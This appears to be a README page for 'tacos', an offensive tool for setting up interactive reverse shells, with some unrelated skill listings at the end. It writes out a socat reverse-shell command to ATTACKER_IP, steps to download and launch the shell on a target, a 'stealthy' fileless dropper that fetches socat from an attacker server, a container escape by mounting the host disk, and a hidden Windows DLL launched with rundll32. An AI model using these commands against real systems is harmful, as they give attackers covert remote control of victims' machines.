Tacos
๐ฎ INTERACTIVE reverse shell everywhere! (Particularly digestible with socat multi-handler listener)
Install / Use
/learn @ariary/TacosREADME
tacos ๐ฎ
<sup>(reverse socat)</sup>
Spawn a pty in your reverse shell to <strong>automaticaly</strong> make it <strong>interactive</strong> for socat listener.
<strong> Fast interactive reverse shell set-up ๐ณ (container) </strong>
<sup><code><b> All credit goes to <a href=https://github.com/laluka/pty4all>laluka</a> idea </b></code></sup>
</div>Equivalent of:
socat exec:'bash -il',pty,stderr,setsid,sigint,sane OPENSSL:[ATTACKER_IP:PORT],verify=0
Why ?
- transform RCE to interactive reverse shell with almost no prerequisite (only
curl) - cross-platform (windows support is OK but not yet interactive. It is recommended to use non-docker solution for it)
- tired of hitting ^C and loosing your shell?
- too lazy to copy/paste/learn socat command
- target doesn't have
socatand you don't want to do this - provide more advanced configuration to the tty (alias, etc)
- easier to obfuscate
Usage
ยซ I quickly want an interactive reverse shellยป, take a wrap! ๐ฅ
# On attacker machine
tmux
wrap --lhost [ATTACKER_IP] #launch socat listener + output command to run on target
# On target
# paste command outputted by wrap: it will download tacos, and launch it to obtain the interactive revshell
<details><summary><h4>๐ Bonus nยฐ1: expose listener to the world wide web</h4></summary>
Useful if target can't directly reach the attacker machine, but has internet access
<br> On attacker machine, install <code>ngrok</code> or <code>bore</code> and launch your listener:
<pre><code>wrap -n
</code></pre>
<i><b>N.B:</b></i> ngrok is more stable than bore for now
</details>With docker (recommended)
Source aliases (for simplicity):
alias tacos.container='docker run --net host --rm -it ariary/tacos'
Launch multi-handler listener:
tacos.container [LISTENING_ADDR] [LISTENING_PORT] # [OPTIONAL_TACOS_ARS]
Notes about tacos container security:
<details> <summary><h4>๐ Bonus nยฐ2: <code>tacos</code> reverse shell image</h4></summary> Useful if target is running docker, kubernetes, etc ... <br> On attacker machine, launch your <code>tacos</code> listener as usual <br> On target: <pre><code> docker run --privileged --rm -it ariary/tacos-reverse [TACOS_LISTENER_IP]:[TACOS_LISTENER_PORT] </code></pre> <blockquote>๐ก: <code>--privileged</code> mode is not mandatory. It is used to allow container escaping with: <pre><code> fdisk -l mkdir /mnt/hostfs mount /dev/sda1 /mnt/hostfs </code></pre> </blockquote> <br> <blockquote>๐ก: If you only have writing access to a manifest deploying containers. Use <code>ariary/tacos-reverse</code> image with appropriate arguments </blockquote> </details>From a networking point of view, this is the same level of isolation as if the processes were running directly on the host and not in a container. However, in all other ways, such as storage, process namespace, and user namespace, the process is isolated from the host.
Easy install
- Requirements: go, git, tmux (and ngrok, bore)
- Install all the stuff:
./install-all-in-one.sh
You're now good to go !:
tacos.listener
Alternatives
Alternatively, if target does not have socat:
Host a static version of socat binary and download + execute it using the stealthy filess-xec dropper:
# On attacker machine
# get socat static & expose it
static-get socat
python3 -m http.server 8080
# On target machine
# Use already downloaded fileless-xec to download socat and stealthy launch it with argument
fileless-xec [ATTACKER_IP]:8080/socat -- exec:'bash -il',pty,stderr,setsid,sigint,sane OPENSSL:[ATTACKER_IP]:[SOCAT_LISTENING_PORT],verify=0
Use dll instead of .exe
# On attacker machine:
# modify ./cmd/tacosdll/tacosdll.go with the according IP:PORT
$ GOOS=windows GOARCH=amd64 CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc go build -buildmode=c-shared -ldflags="-w -s -H=windowsgui" -o tacos.dll ./cmd/tacosdll/tacosdll.go
# On remote:
> rundll32.exe ./tacos.dll,Tacos
Related Skills
healthcheck
335.2kHost security hardening and risk-tolerance configuration for OpenClaw deployments
node-connect
335.2kDiagnose OpenClaw node connection and pairing failures for Android, iOS, and macOS companion apps
xurl
335.2kA CLI tool for making authenticated requests to the X (Twitter) API. Use this skill when you need to post tweets, reply, quote, search, read posts, manage followers, send DMs, upload media, or interact with any X API v2 endpoint.
prose
335.2kOpenProse VM skill pack. Activate on any `prose` command, .prose files, or OpenProse mentions; orchestrates multi-agent workflows.
